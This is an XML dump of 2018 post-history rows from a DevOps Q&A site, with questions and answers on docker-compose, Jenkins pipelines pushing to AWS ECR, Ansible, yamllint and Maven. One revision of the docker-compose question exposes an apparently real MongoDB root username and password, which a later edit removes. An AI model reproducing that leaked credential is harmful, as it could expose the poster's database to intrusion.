  <row Id="11819" PostHistoryTypeId="6" PostId="1820" RevisionGUID="ecb30e8c-3e8b-42d1-9544-fb9e776b2743" CreationDate="2018-03-29T15:47:49.727" UserId="3062" Comment="added 515 characters in body; edited tags" Text="&lt;release-management&gt;&lt;powershell&gt;&lt;azure-pipelines&gt;&lt;vso&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11820" PostHistoryTypeId="2" PostId="3772" RevisionGUID="33cb1a51-785c-4ced-a1fd-f0b96dd25b9a" CreationDate="2018-03-29T17:28:20.133" UserId="3509" Text="You can use `env` lookup plugins. Plugins are always evaluated in the context of &quot;parent&quot; ansible process on the control host.&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ lookup('env', 'PWD') }}&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11821" PostHistoryTypeId="2" PostId="3773" RevisionGUID="5f703766-573d-4624-a528-b8452687207a" CreationDate="2018-03-29T18:45:25.040" UserId="192" Text="docker-compose -f xxx up -d is saying up-to-date on freshly rebuilt containers when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;bad&#xD;&#xA;&#xD;&#xA;    docker-compose&#xD;&#xA;    Server Version: 18.04.0-ce-rc1&#xD;&#xA;&#xD;&#xA;good&#xD;&#xA;&#xD;&#xA;    docker-compose&#xD;&#xA;    Server Version: 18.03.0-ce&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;here is bad docker-compose&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	docker info&#xD;&#xA;	Containers: 6&#xD;&#xA;	 Running: 6&#xD;&#xA;	 Paused: 0&#xD;&#xA;	 Stopped: 0&#xD;&#xA;	Images: 189&#xD;&#xA;	Server Version: 18.04.0-ce-rc1&#xD;&#xA;	Storage Driver: overlay2&#xD;&#xA;	 Backing Filesystem: extfs&#xD;&#xA;	 Supports d_type: true&#xD;&#xA;	 Native Overlay Diff: true&#xD;&#xA;	Logging Driver: json-file&#xD;&#xA;	Cgroup Driver: cgroupfs&#xD;&#xA;	Plugins:&#xD;&#xA;	 Volume: local&#xD;&#xA;	 Network: bridge host macvlan null overlay&#xD;&#xA;	 Log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog&#xD;&#xA;	Swarm: inactive&#xD;&#xA;	Runtimes: runc&#xD;&#xA;	Default Runtime: runc&#xD;&#xA;	Init Binary: docker-init&#xD;&#xA;	containerd version: cfd04396dc68220d1cecbe686a6cc3aa5ce3667c&#xD;&#xA;	runc version: 4fc53a81fb7c994640722ac585fa9ca548971871&#xD;&#xA;	init version: 949e6fa&#xD;&#xA;	Kernel Version: 4.14.17-x86_64-linode99&#xD;&#xA;	Operating System: Debian GNU/Linux 8 (jessie)&#xD;&#xA;	OSType: linux&#xD;&#xA;	Architecture: x86_64&#xD;&#xA;	CPUs: 2&#xD;&#xA;	Total Memory: 3.847GiB&#xD;&#xA;	Name: vercingetorix&#xD;&#xA;	ID: YRZ7:GNPF:3WYW:JDFQ:XLZ2:LRQ7:AVXR:MAQI:HPQK:BYTW:7YHG:73PH&#xD;&#xA;	Docker Root Dir: /var/lib/docker&#xD;&#xA;	Debug Mode (client): false&#xD;&#xA;	Debug Mode (server): false&#xD;&#xA;	Registry: https://index.docker.io/v1/&#xD;&#xA;	Labels:&#xD;&#xA;	Experimental: false&#xD;&#xA;	Insecure Registries:&#xD;&#xA;	 127.0.0.0/8&#xD;&#xA;	Live Restore Enabled: false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I run docker-ce   on my ( debian 8 -or- ubuntu 16.04 ) server and execute my docker commands from inside a container … everything runs OK until today’s docker release of Server Version: 18.04.0-ce-rc1&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11822" PostHistoryTypeId="1" PostId="3773" RevisionGUID="5f703766-573d-4624-a528-b8452687207a" CreationDate="2018-03-29T18:45:25.040" UserId="192" Text="docker-compose fails to recognize when containers are rebuilt" ContentLicense="CC BY-SA 3.0" />
  <row Id="11823" PostHistoryTypeId="3" PostId="3773" RevisionGUID="5f703766-573d-4624-a528-b8452687207a" CreationDate="2018-03-29T18:45:25.040" UserId="192" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11824" PostHistoryTypeId="50" PostId="3418" RevisionGUID="9a27f123-94ef-4726-ab2d-884f7cf4cbee" CreationDate="2018-03-29T19:58:33.857" UserId="-1" />
  <row Id="11828" PostHistoryTypeId="50" PostId="3460" RevisionGUID="773443cc-0385-4ec3-a712-4b5b01e64e49" CreationDate="2018-03-30T08:00:05.253" UserId="-1" />
  <row Id="11829" PostHistoryTypeId="2" PostId="3774" RevisionGUID="44042c30-4709-4533-b692-149070186174" CreationDate="2018-03-30T08:31:06.563" UserId="6341" Text="There is no difference on vsts for your test (unit, integrated or functional). You just set the right dll name with your tests:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;or select Test plan if you have a test plan with associated test recordings&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/JBeOe.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/uZ7Kw.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="11833" PostHistoryTypeId="2" PostId="3776" RevisionGUID="1d563075-3b04-4668-bb76-9fd3272bd1b5" CreationDate="2018-03-30T11:21:11.813" UserId="5910" Text="OpenShift includes EFK and I'm looking into using that or ELK, but there are so many options (found a link with 50+ options) that I'm trying to narrow down. Ideally something free/cheap. What is the best logging and metrics reporting tool?&#xD;&#xA;&#xD;&#xA;We are running a handful of microservices within OpenShift.&#xD;&#xA;&#xD;&#xA;Some simple use cases of what we are looking to do:&#xD;&#xA;&#xD;&#xA;    As an admin, I need a report showing how many times a service was called in a given time frame.&#xD;&#xA;    As an admin, I need a report showing how many times a service was called successfully in a given time frame.&#xD;&#xA;    As an admin, I need a report showing the average time a service takes to process requests.&#xD;&#xA;    As an admin, I need a report showing the lifecyle of a specific message (UUID).  The lifecycle will show each service called." ContentLicense="CC BY-SA 3.0" />
  <row Id="11834" PostHistoryTypeId="1" PostId="3776" RevisionGUID="1d563075-3b04-4668-bb76-9fd3272bd1b5" CreationDate="2018-03-30T11:21:11.813" UserId="5910" Text="What are the best logging/metrics reporting tools for use with OpenShift?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11835" PostHistoryTypeId="3" PostId="3776" RevisionGUID="1d563075-3b04-4668-bb76-9fd3272bd1b5" CreationDate="2018-03-30T11:21:11.813" UserId="5910" Text="&lt;logging&gt;&lt;metrics&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11837" PostHistoryTypeId="50" PostId="3419" RevisionGUID="d4f4c64b-b837-4dc9-903b-e7122a9bee4a" CreationDate="2018-03-30T15:02:44.070" UserId="-1" />
  <row Id="11838" PostHistoryTypeId="2" PostId="3777" RevisionGUID="e92d3714-0f5e-4630-abcf-682110bccf53" CreationDate="2018-03-30T15:53:47.970" UserId="6275" Text="I am using Jenkins pipeline and run a shell command to bring up my linked containers for testing. Once the testing is complete, i want to push the containers to a registry (i would prefer AWS ERC, but at this point i will take any working examples). What is the proper way to do this? Should each image go to a different repository? How can i get all of the containers created by the compose file pushed up? I have been attempting to get this done with the docker-compose push command, but i cant seem to get it working properly or find any decent examples. &#xD;&#xA;&#xD;&#xA;Jenkinsfile&#xD;&#xA;&#xD;&#xA;    node('ec2-build-slave') {&#xD;&#xA;            stage('Docker Build') {&#xD;&#xA;                /* This builds the actual image; synonymous to&#xD;&#xA;                * docker build on the command line */&#xD;&#xA;&#xD;&#xA;                sh(&quot;docker network create aa_backend_network&quot;)&#xD;&#xA;                sh(&quot;docker-compose up -d --build&quot;)&#xD;&#xA;                //docker.build(&quot;$IMAGE&quot;)&#xD;&#xA;            }&#xD;&#xA;            stage ('Docker Push'){&#xD;&#xA;                // /* This pushes the previously built image to the Amazon&#xD;&#xA;                // * ECS Container Registry */&#xD;&#xA;                sh(&quot;eval \$(aws ecr get-login --region us-west-2 --no-include-email | sed 's|https://||')&quot;)&#xD;&#xA;                // docker.withRegistry(ECR_URL, ECR_CRED) {&#xD;&#xA;                // docker.image(IMAGE).push()&#xD;&#xA;                // }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                sh(&quot;docker-compose build&quot;)&#xD;&#xA;                sh(&quot;docker-compose push&quot;)&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        catch (exc) {&#xD;&#xA;            currentBuild.result = &quot;FAILED&quot;&#xD;&#xA;            throw exc&#xD;&#xA;        }&#xD;&#xA;        finally {&#xD;&#xA;            // Success or failure, always send notifications&#xD;&#xA;            notifyBuild(currentBuild.result)&#xD;&#xA;            sh(&quot;docker-compose down -v&quot;)&#xD;&#xA;            sh(&quot;docker network prune -f&quot;)&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;    " ContentLicense="CC BY-SA 3.0" />
  <row Id="11839" PostHistoryTypeId="1" PostId="3777" RevisionGUID="e92d3714-0f5e-4630-abcf-682110bccf53" CreationDate="2018-03-30T15:53:47.970" UserId="6275" Text="How can i push mulitple containers, created with docker-compose, to a registry" ContentLicense="CC BY-SA 3.0" />
  <row Id="11840" PostHistoryTypeId="3" PostId="3777" RevisionGUID="e92d3714-0f5e-4630-abcf-682110bccf53" CreationDate="2018-03-30T15:53:47.970" UserId="6275" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11841" PostHistoryTypeId="5" PostId="3777" RevisionGUID="cd504acd-961c-4422-adbe-3d5e31f63d06" CreationDate="2018-03-30T16:17:55.917" UserId="6275" Comment="added compose file" Text="I am using Jenkins pipeline and run a shell command to bring up my linked containers for testing. Once the testing is complete, i want to push the containers to a registry (i would prefer AWS ERC, but at this point i will take any working examples). What is the proper way to do this? Should each image go to a different repository? How can i get all of the containers created by the compose file pushed up? I have been attempting to get this done with the docker-compose push command, but i cant seem to get it working properly or find any decent examples. &#xD;&#xA;&#xD;&#xA;Jenkinsfile&#xD;&#xA;&#xD;&#xA;    node('ec2-build-slave') {&#xD;&#xA;        stage('Docker Build') {&#xD;&#xA;            /* This builds the actual image; synonymous to&#xD;&#xA;            * docker build on the command line */&#xD;&#xA;    &#xD;&#xA;            sh(&quot;docker network create aa_backend_network&quot;)&#xD;&#xA;            sh(&quot;docker-compose up -d --build&quot;)&#xD;&#xA;            //docker.build(&quot;$IMAGE&quot;)&#xD;&#xA;        }&#xD;&#xA;        stage ('Docker Push'){&#xD;&#xA;            // /* This pushes the previously built image to the Amazon&#xD;&#xA;            // * ECS Container Registry */&#xD;&#xA;            sh(&quot;eval \$(aws ecr get-login --region us-west-2 --no-include-email | sed 's|https://||')&quot;)&#xD;&#xA;            // docker.withRegistry(ECR_URL, ECR_CRED) {&#xD;&#xA;            // docker.image(IMAGE).push()&#xD;&#xA;            // }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;            sh(&quot;docker-compose build&quot;)&#xD;&#xA;            sh(&quot;docker-compose push&quot;)&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    catch (exc) {&#xD;&#xA;        currentBuild.result = &quot;FAILED&quot;&#xD;&#xA;        throw exc&#xD;&#xA;    }&#xD;&#xA;    finally {&#xD;&#xA;        // Success or failure, always send notifications&#xD;&#xA;        notifyBuild(currentBuild.result)&#xD;&#xA;        sh(&quot;docker-compose down -v&quot;)&#xD;&#xA;        sh(&quot;docker network prune -f&quot;)&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;docker-compose&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;      db_setup:&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        build: .&#xD;&#xA;        depends_on:&#xD;&#xA;          - db&#xD;&#xA;        container_name: db_setup&#xD;&#xA;        image: db_setup&#xD;&#xA;        command: python asteri_analytics_db.py&#xD;&#xA;        working_dir: /asteri_analytics_db/asteri_analytics_db&#xD;&#xA;      db:&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;          - outside&#xD;&#xA;        image: mongo:3.6.3&#xD;&#xA;        container_name: mongo_db&#xD;&#xA;        restart: always&#xD;&#xA;        environment:&#xD;&#xA;          MONGO_DATA_DIR: /data/db&#xD;&#xA;          MONGO_LOG_DIR: /dev/null&#xD;&#xA;          MONGO_INITDB_ROOT_USERNAME: Asteriadmin&#xD;&#xA;          MONGO_INITDB_ROOT_PASSWORD: Beignets420!&#xD;&#xA;        ports:&#xD;&#xA;          - 27017:27017&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      outside:&#xD;&#xA;        external:&#xD;&#xA;          name: aa_backend_network&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11842" PostHistoryTypeId="2" PostId="3778" RevisionGUID="7abcaec2-1191-47fc-8ccb-696969ea6615" CreationDate="2018-03-30T16:38:42.887" UserId="210" Text="In Jenkins it is possible to assign labels to nodes, e.g. somenode to nodes and then one could call somenode in the pipeline and then Jenkins will run the build on some of the nodes.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;The assumption was that Jenkins would apply round robin, i.e. the number of builds that is run on node 1 2 3 4 and 5 is equal, but actually the majority, I.e. more than 90 percent is run on node four." ContentLicense="CC BY-SA 3.0" />
  <row Id="11843" PostHistoryTypeId="1" PostId="3778" RevisionGUID="7abcaec2-1191-47fc-8ccb-696969ea6615" CreationDate="2018-03-30T16:38:42.887" UserId="210" Text="Should Jenkins apply round robin if nodes have the same label?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11844" PostHistoryTypeId="3" PostId="3778" RevisionGUID="7abcaec2-1191-47fc-8ccb-696969ea6615" CreationDate="2018-03-30T16:38:42.887" UserId="210" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11845" PostHistoryTypeId="50" PostId="3488" RevisionGUID="4a68e7e6-a95e-41cd-910a-ba3118a9f6a5" CreationDate="2018-03-30T17:02:44.470" UserId="-1" />
  <row Id="11846" PostHistoryTypeId="2" PostId="3779" RevisionGUID="b62ba63e-e5f6-4cd4-af25-dcf34c1ee83f" CreationDate="2018-03-30T17:14:07.933" UserId="7172" Text="If I correct understand Your problem, You want to build app with diffrent ccs and images.&#xD;&#xA; &#xD;&#xA;Jenkins suports maven and simplest way is to use maven profiles plus [maven-war-plugin][1] &#xD;&#xA;eg.:&#xD;&#xA;&#xD;&#xA;    &lt;build&gt;&#xD;&#xA;    &lt;plugins&gt;&#xD;&#xA;        &lt;plugin&gt;&#xD;&#xA;            &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;&#xD;&#xA;            &lt;artifactId&gt;maven-war-plugin&lt;/artifactId&gt;&#xD;&#xA;            &lt;configuration&gt;&#xD;&#xA;                &lt;webResources&gt;&#xD;&#xA;                    &lt;webResource&gt;&#xD;&#xA;                        &lt;directory&gt;src/main/profile/webapp/${images.folder}&lt;/directory&gt;&#xD;&#xA;                        &lt;targetPath&gt;images&lt;/targetPath&gt;&#xD;&#xA;                    &lt;/webResource&gt;&#xD;&#xA;                &lt;/webResources&gt;&#xD;&#xA;            &lt;/configuration&gt;&#xD;&#xA;        &lt;/plugin&gt;&#xD;&#xA;    &lt;/plugins&gt;&#xD;&#xA;&lt;/build&gt;&#xD;&#xA;&#xD;&#xA;    &lt;profiles&gt;&#xD;&#xA;    &lt;profile&gt;&#xD;&#xA;        &lt;id&gt;prod_client_1&lt;/id&gt;&#xD;&#xA;        &lt;properties&gt;&#xD;&#xA;            &lt;images.folder&gt;prod_client_1&lt;/images.folder&gt;&#xD;&#xA;        &lt;/properties&gt;&#xD;&#xA;    &lt;/profile&gt;&#xD;&#xA;    &lt;profile&gt;&#xD;&#xA;        &lt;id&gt;prod_client_2&lt;/id&gt;&#xD;&#xA;        &lt;properties&gt;&#xD;&#xA;            &lt;images.folder&gt;prod_client_2&lt;/images.folder&gt;&#xD;&#xA;        &lt;/properties&gt;&#xD;&#xA;    &lt;/profile&gt;&#xD;&#xA;&lt;/profiles&gt;&#xD;&#xA;&#xD;&#xA;For other resources filtering [maven-resources-plugin][2]&#xD;&#xA;&#xD;&#xA;At least should be helpful this approach [sharing resources across projects][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://maven.apache.org/plugins/maven-war-plugin/examples/adding-filtering-webresources.html&#xD;&#xA;  [2]: http://maven.apache.org/plugins/maven-resources-plugin/examples/include-exclude.html&#xD;&#xA;  [3]: https://blog.sonatype.com/2008/04/how-to-share-resources-across-projects-in-maven/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11847" PostHistoryTypeId="2" PostId="3780" RevisionGUID="6e6e7426-7dc1-42de-a574-6d7977e5b8be" CreationDate="2018-03-30T18:22:10.170" UserId="210" Text="There are multiple distribution in the company. Building the same project results in different build times (see table 1).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    | win10laptop32gbram | win10laptopOld | win7laptop | win7server | linuxvm | mac |&#xD;&#xA;    |--------------------|----------------|------------|------------|---------|-----| &#xD;&#xA;    | 3                  | 3              | 2          | 1.5        | 1       | 1.9 | &#xD;&#xA;Table 1: Ratio of build speed between different Operating System and hardware.&#xD;&#xA;&#xD;&#xA;Do other people from other organizations experience this as well?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11848" PostHistoryTypeId="1" PostId="3780" RevisionGUID="6e6e7426-7dc1-42de-a574-6d7977e5b8be" CreationDate="2018-03-30T18:22:10.170" UserId="210" Text="Is Windows in general always slower than linux?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11849" PostHistoryTypeId="3" PostId="3780" RevisionGUID="6e6e7426-7dc1-42de-a574-6d7977e5b8be" CreationDate="2018-03-30T18:22:10.170" UserId="210" Text="&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11850" PostHistoryTypeId="5" PostId="3777" RevisionGUID="c6b23d64-7f71-406a-988c-8a7681c52efe" CreationDate="2018-03-31T05:05:13.317" UserId="47" Comment="improved readability" Text="I am using Jenkins pipeline and run a shell command to bring up my linked containers for testing. Once the testing is complete, I want to push the containers to a registry (I would prefer AWS ERC, but at this point I will take any working examples). What is the proper way to do this? Should each image go to a different repository? How can I get all of the containers created by the compose file pushed up? I have been attempting to get this done with the docker-compose push command, but I can't seem to get it working properly or find any decent examples. &#xD;&#xA;&#xD;&#xA;Jenkinsfile&#xD;&#xA;&#xD;&#xA;    node('ec2-build-slave') {&#xD;&#xA;        stage('Docker Build') {&#xD;&#xA;            /* This builds the actual image; synonymous to&#xD;&#xA;            * docker build on the command line */&#xD;&#xA;    &#xD;&#xA;            sh(&quot;docker network create aa_backend_network&quot;)&#xD;&#xA;            sh(&quot;docker-compose up -d --build&quot;)&#xD;&#xA;            //docker.build(&quot;$IMAGE&quot;)&#xD;&#xA;        }&#xD;&#xA;        stage ('Docker Push'){&#xD;&#xA;            // /* This pushes the previously built image to the Amazon&#xD;&#xA;            // * ECS Container Registry */&#xD;&#xA;            sh(&quot;eval \$(aws ecr get-login --region us-west-2 --no-include-email | sed 's|https://||')&quot;)&#xD;&#xA;            // docker.withRegistry(ECR_URL, ECR_CRED) {&#xD;&#xA;            // docker.image(IMAGE).push()&#xD;&#xA;            // }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;            sh(&quot;docker-compose build&quot;)&#xD;&#xA;            sh(&quot;docker-compose push&quot;)&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    catch (exc) {&#xD;&#xA;        currentBuild.result = &quot;FAILED&quot;&#xD;&#xA;        throw exc&#xD;&#xA;    }&#xD;&#xA;    finally {&#xD;&#xA;        // Success or failure, always send notifications&#xD;&#xA;        notifyBuild(currentBuild.result)&#xD;&#xA;        sh(&quot;docker-compose down -v&quot;)&#xD;&#xA;        sh(&quot;docker network prune -f&quot;)&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;docker-compose&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: &quot;2&quot;&#xD;&#xA;    services:&#xD;&#xA;      db_setup:&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        build: .&#xD;&#xA;        depends_on:&#xD;&#xA;          - db&#xD;&#xA;        container_name: db_setup&#xD;&#xA;        image: db_setup&#xD;&#xA;        command: python asteri_analytics_db.py&#xD;&#xA;        working_dir: /asteri_analytics_db/asteri_analytics_db&#xD;&#xA;      db:&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;          - outside&#xD;&#xA;        image: mongo:3.6.3&#xD;&#xA;        container_name: mongo_db&#xD;&#xA;        restart: always&#xD;&#xA;        environment:&#xD;&#xA;          MONGO_DATA_DIR: /data/db&#xD;&#xA;          MONGO_LOG_DIR: /dev/null&#xD;&#xA;          MONGO_INITDB_ROOT_USERNAME: ###edited####&#xD;&#xA;          MONGO_INITDB_ROOT_PASSWORD: ###edited####&#xD;&#xA;        ports:&#xD;&#xA;          - 27017:27017&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      outside:&#xD;&#xA;        external:&#xD;&#xA;          name: aa_backend_network&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11851" PostHistoryTypeId="4" PostId="3777" RevisionGUID="c6b23d64-7f71-406a-988c-8a7681c52efe" CreationDate="2018-03-31T05:05:13.317" UserId="47" Comment="improved readability" Text="How can I push multiple containers, created with docker-compose, to a registry" ContentLicense="CC BY-SA 3.0" />
  <row Id="11852" PostHistoryTypeId="2" PostId="3781" RevisionGUID="105184b0-75fa-478b-a4a5-42816a91bbef" CreationDate="2018-03-31T09:39:21.317" UserId="5688" Text="Just make sure the images you build all have the right names in terms of registry prefix and so on. If not you need to rename them accordingly.&#xD;&#xA;&#xD;&#xA;Otherwise this task is pretty easy. To push all Images you build using a docker-compose file just use `docker-compose push`.&#xD;&#xA;&#xD;&#xA;Make sure you are authorised to push to the registry (logged in etc.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="11854" PostHistoryTypeId="2" PostId="3783" RevisionGUID="584fe3cc-cccb-4774-934b-bfc0b2608911" CreationDate="2018-03-31T14:36:21.437" UserId="5879" Text="*TL;DR depends on the use case with up to 12 times between best/worst*&#xD;&#xA;&#xD;&#xA;Comprehensive testing has been done over at [Phoronix][1] (28.03.18) and the results are very mixed. The tests looked at:&#xD;&#xA;&#xD;&#xA;- Clear Linux 21510&#xD;&#xA;- Debian 9.4&#xD;&#xA;- OpenSUSE 42.3 Leap&#xD;&#xA;- Ubuntu 16.04 LTS&#xD;&#xA;- Windows 10 Pro Build 16299&#xD;&#xA;- Debian 9 On WSL&#xD;&#xA;- OpenSUSE 42.3 On WSL&#xD;&#xA;- Ubuntu 16.04 LTS On WSL&#xD;&#xA;&#xD;&#xA;The results are all over the show. In a few tests, the WSL (Windows Subsystem for Linux) is faster then native Windows ([GraphicsMagick][2]) and the Intel optimized distribution, Clear Linux, sometimes has the worst results ([Netperf UDP request response][3]). While in others Windows is twice as fast as all Linux distributions ([CacheBench][2]). All in all, deciding on **performance is not conclusive**. Choose the OS that provides the tooling you require.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=1&#xD;&#xA;  [2]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=4&#xD;&#xA;  [3]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11855" PostHistoryTypeId="50" PostId="1622" RevisionGUID="11fe3d84-ba6e-4fb9-a86c-14b59dfe145a" CreationDate="2018-03-31T15:03:21.850" UserId="-1" />
  <row Id="11856" PostHistoryTypeId="50" PostId="3177" RevisionGUID="0020da78-4b1b-4923-8d33-aa067522b329" CreationDate="2018-03-31T18:03:22.003" UserId="-1" />
  <row Id="11857" PostHistoryTypeId="2" PostId="3784" RevisionGUID="a93601a4-a9f7-4208-8200-48195497989a" CreationDate="2018-03-31T21:50:48.523" UserId="7093" Text="As far as I know, I think Octopus doesn't packages anything. The package should come from your CI Tool (Jenkins or TeamCity maybe?)&#xD;&#xA;&#xD;&#xA;Having said that, I would *check on your previous step* in the CI/CD chain to see how are you packaging your solution, and filter those folders there, before packaging.&#xD;&#xA;&#xD;&#xA;That will also help you:&#xD;&#xA;&#xD;&#xA; - Reducing the package size &#xD;&#xA; - Increase speed in the deployment process&#xD;&#xA; - Avoid storing unnecessary files&#xD;&#xA;&#xD;&#xA;**High-level suggested CI/CD Chain summary**&#xD;&#xA;&#xD;&#xA;CI Tool&#xD;&#xA;&#xD;&#xA;	1. Compile/Test (if you're working with a compiled language)&#xD;&#xA;	2. Package only required folders&#xD;&#xA;	3. Push to Octopus&#xD;&#xA;&#xD;&#xA;Octopus (CD Tool)&#xD;&#xA;&#xD;&#xA;	1. Store and manage final packages" ContentLicense="CC BY-SA 3.0" />
  <row Id="11859" PostHistoryTypeId="5" PostId="3772" RevisionGUID="0cc266b1-d5b7-4b90-be03-e71dff8805f3" CreationDate="2018-04-01T10:17:54.027" UserId="3509" Comment="added 111 characters in body" Text="You can use `env` lookup plugins. Plugins are always evaluated in the context of &quot;parent&quot; ansible process on the control host.&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ lookup('env', 'PWD') }}&quot;&#xD;&#xA;&#xD;&#xA;More lookup plugins can be found here: http://docs.ansible.com/ansible/latest/user_guide/playbooks_lookups.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11860" PostHistoryTypeId="2" PostId="3785" RevisionGUID="8fb2b05c-acee-4ae4-8b7c-1c59ce2cbb45" CreationDate="2018-04-01T11:29:00.927" UserId="6356" Text="I am using https://yamllint.readthedocs.io/en/stable/index.html to lint my yaml files (used in a saltstack context, and linted by jenkins jobs at every commit), but as reported and explained [here][1], it is not possible to validate a yaml file in which is used jinja code.&#xD;&#xA;&#xD;&#xA;How do you guys validate / lint your yaml files ?&#xD;&#xA;&#xD;&#xA;Do you see a way to keep using yamllint without failing due to jinja code ?&#xD;&#xA;&#xD;&#xA;Yaml structure error are the most occuring errors in my company, people from very different background come to edit pillar, that's why I really need a yaml validating process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/adrienverge/yamllint/issues/61" ContentLicense="CC BY-SA 3.0" />
  <row Id="11861" PostHistoryTypeId="1" PostId="3785" RevisionGUID="8fb2b05c-acee-4ae4-8b7c-1c59ce2cbb45" CreationDate="2018-04-01T11:29:00.927" UserId="6356" Text="Yaml linting failling when jinja is used" ContentLicense="CC BY-SA 3.0" />
  <row Id="11862" PostHistoryTypeId="3" PostId="3785" RevisionGUID="8fb2b05c-acee-4ae4-8b7c-1c59ce2cbb45" CreationDate="2018-04-01T11:29:00.927" UserId="6356" Text="&lt;salt&gt;&lt;jinja&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11863" PostHistoryTypeId="2" PostId="3786" RevisionGUID="9eecc22d-ad20-4915-bbf2-886a4a376d22" CreationDate="2018-04-01T11:39:57.080" UserId="6356" Text="My bad, I was searching using the wrong keyword, I just found out that ignoring a file or dir is quite easy, you just need to add an gitignore style block to your yamllint config file, as :&#xD;&#xA;&#xD;&#xA;    ignore: |&#xD;&#xA;      *globalParamName.sls&#xD;&#xA;      *platform.sls&#xD;&#xA;&#xD;&#xA;See the official doc [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://yamllint.readthedocs.io/en/stable/configuration.html#ignoring-paths" ContentLicense="CC BY-SA 3.0" />
  <row Id="11864" PostHistoryTypeId="2" PostId="3787" RevisionGUID="05e9bd5a-f03e-4315-8e3d-42fd191ce393" CreationDate="2018-04-01T12:08:29.533" UserId="210" Text="Service Level Agreement&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Service-level_agreement&#xD;&#xA;&#xD;&#xA;https://www.atlassian.com/it-unplugged/best-practices-and-trends/stop-hating-on-slas&#xD;&#xA;&#xD;&#xA;What will happen if the docker registry is down? Are all departments blocked? What is the impact?&#xD;&#xA;&#xD;&#xA;If all production images reside in a docker registry and someone wants to release a newer version to production, but the registry is down, is it still possible to release the product?" ContentLicense="CC BY-SA 3.0" />
